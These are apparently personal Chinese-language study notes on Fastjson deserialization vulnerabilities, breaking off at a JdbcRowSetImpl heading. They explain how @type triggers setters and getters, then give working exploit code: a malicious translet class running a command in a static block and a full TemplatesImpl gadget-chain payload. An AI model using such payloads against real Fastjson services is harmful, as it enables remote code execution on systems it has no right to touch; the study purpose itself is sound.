一些有关FastJson的学习笔记
只做简单记录,具体参考这两位师傅的文章:
1
2
学习视频:
3
简介
Fastjson
提供两个主要接口来分别实现序列化和反序列化操作:
JSON.toJSONString
将 Java 对象转换为 json 对象,序列化的过程。
JSON.parseObject/JSON.parse
将 json 对象重新变回 Java 对象,反序列化的过程
用法示例:
1
| String jsonString = JSON.toJSONString(student);
|
JSON.toJSONString
是 Fastjson 库中用于将 Java 对象转换为 JSON 字符串的方法。
student
是要转换为 JSON 字符串的 Java 对象。
序列化
比如对于如下Javabean类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| package MyJson;
public class User { private String name; private int id;
public User(){ System.out.println("无参构造"); }
public User(String name, int id) { System.out.println("有参构造"); this.name = name; this.id = id; }
@Override public String toString() { System.out.println("调用了toString!"); return "User{" + "name='" + name + '\'' + ", id=" + id + '}'; }
public String getName() { System.out.print("getName"); return name; }
public void setName(String name) { System.out.println("setName"); this.name = name; }
public int getId() { System.out.println("getId"); return id; }
public void setId(int id) { System.out.println("setId"); this.id = id; } }
public class UserSer { public static void main(String[] args) { User user = new User(); user.setName("abc"); user.setId(6); String jsonString = JSON.toJSONString(user); System.out.println(jsonString); } }
|
但是这里转化的字符串只有属性的值,无法区分是哪个类进行了序列化转化的字符串,这里就有了在JSON.toJSONString
的第二个参数SerializerFeature.WriteClassName
写下这个类的名字
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package MyJson; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.serializer.SerializerFeature;
public class UserSer { public static void main(String[] args) { User user = new User(); user.setName("abc"); user.setId(6); String jsonString = JSON.toJSONString(user, SerializerFeature.WriteClassName); System.out.println(jsonString); } }
|
SerializerFeature.WriteClassName
是 Fastjson 序列化特性,它表示在生成的 JSON 字符串中包含类名信息。设置之后在序列化的时候会多写入一个@type,标识的是这个字符串是由某个类序列化而来,并且调用其 getter
/setter
/is
方法。
反序列化
将 json 数据反序列化时常使用的方法为parse()
、parseObject()
。
parse()
方法用于将 JSON 字符串转换为单个的 Java 对象。
返回的是一个泛型对象,你需要手动进行类型转换为你期望的对象类型。
如果 JSON 字符串中包含了多个对象,则只会解析第一个对象,并忽略其他对象。
示例:
1
| JSONObject jsonObject = JSON.parse(jsonString);
|
parseObject()
方法用于将 JSON 字符串转换为指定类型的 Java 对象。
可以指定要转换的目标对象的类,Fastjson 将尝试将 JSON 字符串映射到该类的对象实例。
返回的是指定类型的 Java 对象。
如果 JSON 字符串中包含多个对象,则只解析第一个对象,并将其映射到指定类型的对象实例中。
示例:
1
| Student student = JSON.parseObject(jsonString, Student.class);
|
eg
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package MyJson;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.serializer.SerializerFeature; import MyJson.User; import java.lang.reflect.Type; public class FastjsonTest { public static void main(String[] args) { String json = "{\"@type\":\"MyJson.User\",\"id\":3,\"name\":\"lihua\"}"; System.out.println(JSON.parseObject(json)); System.out.println(JSON.parse(json)); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package MyJson;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.serializer.SerializerFeature; import MyJson.User; import java.lang.reflect.Type; public class FastjsonTest { public static void main(String[] args) { String json = "{\"@type\":\"MyJson.User\",\"id\":3,\"name\":\"lihua\"}"; System.out.println(JSON.parseObject(json,User.class)); System.out.println(JSON.parse(json)); } }
|
在使用JSON.parseObject
方法的时候只有在第二个参数指定是哪个类才会反序列化成功。
上面的json都存在type
关键字指定类,如果没这个type
的话:
1 2 3 4 5 6 7 8 9 10
| public class FastjsonTest { public static void main(String[] args) {
String json2 = "{\"id\":3,\"name\":\"lihua\"}"; System.out.println(JSON.parseObject(json2, User.class)); System.out.println(JSON.parseObject(json2)); System.out.println(JSON.parse(json2));
} }
|
所以预期的反序列化语句写法:
1 2 3
| String jsonString ="{\"@type\":\"Student\",\"age\":6," + "\"name\":\"Drunkbaby\",\"address\":\"china\",\"properties\":{}}"; Object obj = JSON.parseObject(jsonString, Student.class);
|
要用 parseObject
,里面的参数需要是 Object.class
。
利用方法
- @type 指定类
- 使用
JSON.parse
方法反序列化会调用此类的set方法
- 使用
JSON.parseObject
方法反序列化会调用此类特定的get和set方法
- 可以写一个恶意类,然后通过这一特性实现命令执行
注意不是所有的setter/getter方法:
满足条件的setter:
- 非静态函数
- 返回类型为void或当前类
- 参数个数为1个
满足条件的getter:
- 非静态方法
- 无参数
- 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong
一般的,Fastjson反序列化漏洞的PoC写法如下,@type指定了反序列化得到的类
1 2 3 4 5
| { "@type":"xxx.xxx.xxx", "xxx":"xxx", ... }
|
关键是要找出一个特殊的在目标环境中已存在的类,满足如下两个条件:
- 该类的构造函数、
setter
方法、getter
方法中的某一个存在危险操作,比如造成命令执行;
- 可以控制该漏洞函数的变量(一般就是该类的属性);
利用示例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| eption;
public class User { private String name; private int id;
public User(){ System.out.println("无参构造"); }
public User(String name, int id) { System.out.println("有参构造"); this.name = name; this.id = id; }
@Override public String toString() { return "User{" + "name='" + name + '\'' + ", id=" + id + '}'; }
public String getName() { System.out.print("getName"); return name; }
public void setName(String name) { System.out.println("setName"); this.name = name; }
public int getId() { System.out.println("getId"); return id;
}
public void setId(int id) throws IOException { System.out.println("setId"); this.id = id; Runtime.getRuntime().exec("calc.exe"); }
|
EXP.java
1 2 3 4 5 6 7 8 9 10 11
| package MyJson;
import com.alibaba.fastjson.JSON;
public class EXP1{ public static void main(String[] args) { String json = "{\"@type\":\"MyJson.User\",\"id\":3,\"name\":\"lihua\"}"; System.out.println(JSON.parseObject(json,User.class)); } }
|
这里如果把setId
方法增加一个参数/修改返回值类型为int
都无法进行命令执行。
我们的 PoC 是把恶意代码放到一个 json 格式的字符串里面,开头是要接 @type
的。这里其实赋值就代表我们不需要通过反射来修改值,而是可以直接赋值。
@type
之后是我们要去进行反序列化的类,会获取它的构造函数、getter 与 setter 方法。
所以我们首先是要找这个反序列化类的构造函数、 getter,setter 方法有问题的地方。
和原生反序列化相同和不同的点:
- 不需要实现
Serializable
- 变量可以是
transient
,但变量得有对应的setter
或者是public
/满足条件的getter
- 原生的入口点得是
readObject
,fastJson
是setter
/getter
- 最后执行点都得通过反射或者动态类加载
基于 TemplatesImpl 的利用链
CC3 链利用TemplatesImpl
加载字节码进行命令执行,漏洞的终点在于调用了 .newInstance()
方法。回看会发现漏洞点的地方实际上是一个 getter
方法:
所以可TemplatesImpl
中的这个getter
是满足利用条件的。在构造 EXP 之前,先分析一下参数:
- 先看 TemplatesImpl 类中的
getTransletInstance()
方法。这里可以直接参考 CC3链子的构造。
_name
不可以为 null,需要 _class
为 null,这样进入到 defineTransletClasses
这个方法里面。所以 _class
可以不用写,或者写为 null。_tfactory
也不能为 null,_bytecodes
是恶意字节码。具体可以参考CC3 的分析文章。现在形成的payload
为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
final String evilClassPath = "E:\\JavaClass\\TemplatesBytes.class";
"
{ \"@type\":\"" + NASTY_CLASS + "\", \"_bytecodes\":[\""+evilCode+"\"], '_name':'Drunkbaby', '_tfactory':{ },
";
|
主要目标就是调用这个getter
方法,但注意这个方法并不满足第三个利用条件:
返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong
所以要继续寻找其它getter/setter
方法,找谁调用了 getTransletInstance()
:newTransformer()
方法调用了 getTransletInstance()
方法
getOutputProperties()
调用了 newTransformer()
:
看下这个getOutputProperties()
方法的返回值:
Properties
即继承自 Hashtable
,这东西是Map
类型的,符合要求。
利用链:
1 2
| getOutputProperties() ---> newTransformer() ---> TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
|
首先创建Clac.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException;
public class Clac extends AbstractTranslet { public Clac() { }
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }
static { try { Runtime.getRuntime().exec("calc"); } catch (IOException var1) { var1.printStackTrace(); }
} }
|
利用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| package MyJson;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.codec.binary.Base64; import org.apache.commons.io.IOUtils;
import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.IOException; import com.sun.rowset.JdbcRowSetImpl;
public class LastEXP { public static String readClass(String cls){ ByteArrayOutputStream bos = new ByteArrayOutputStream(); try { IOUtils.copy(new FileInputStream(new File(cls)), bos); } catch (IOException e) { e.printStackTrace(); } return Base64.encodeBase64String(bos.toByteArray()); }
public static void main(String args[]){ try { ParserConfig config = new ParserConfig(); final String fileSeparator = System.getProperty("file.separator"); final String evilClassPath = "E:\\Clac.class"; String evilCode = readClass(evilClassPath); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String text1 = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'Drunkbaby','_tfactory':{ },\"_outputProperties\":{ },"; System.out.println(text1);
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); } catch (Exception e) { e.printStackTrace(); } } }
|
JdbcRowSetImpl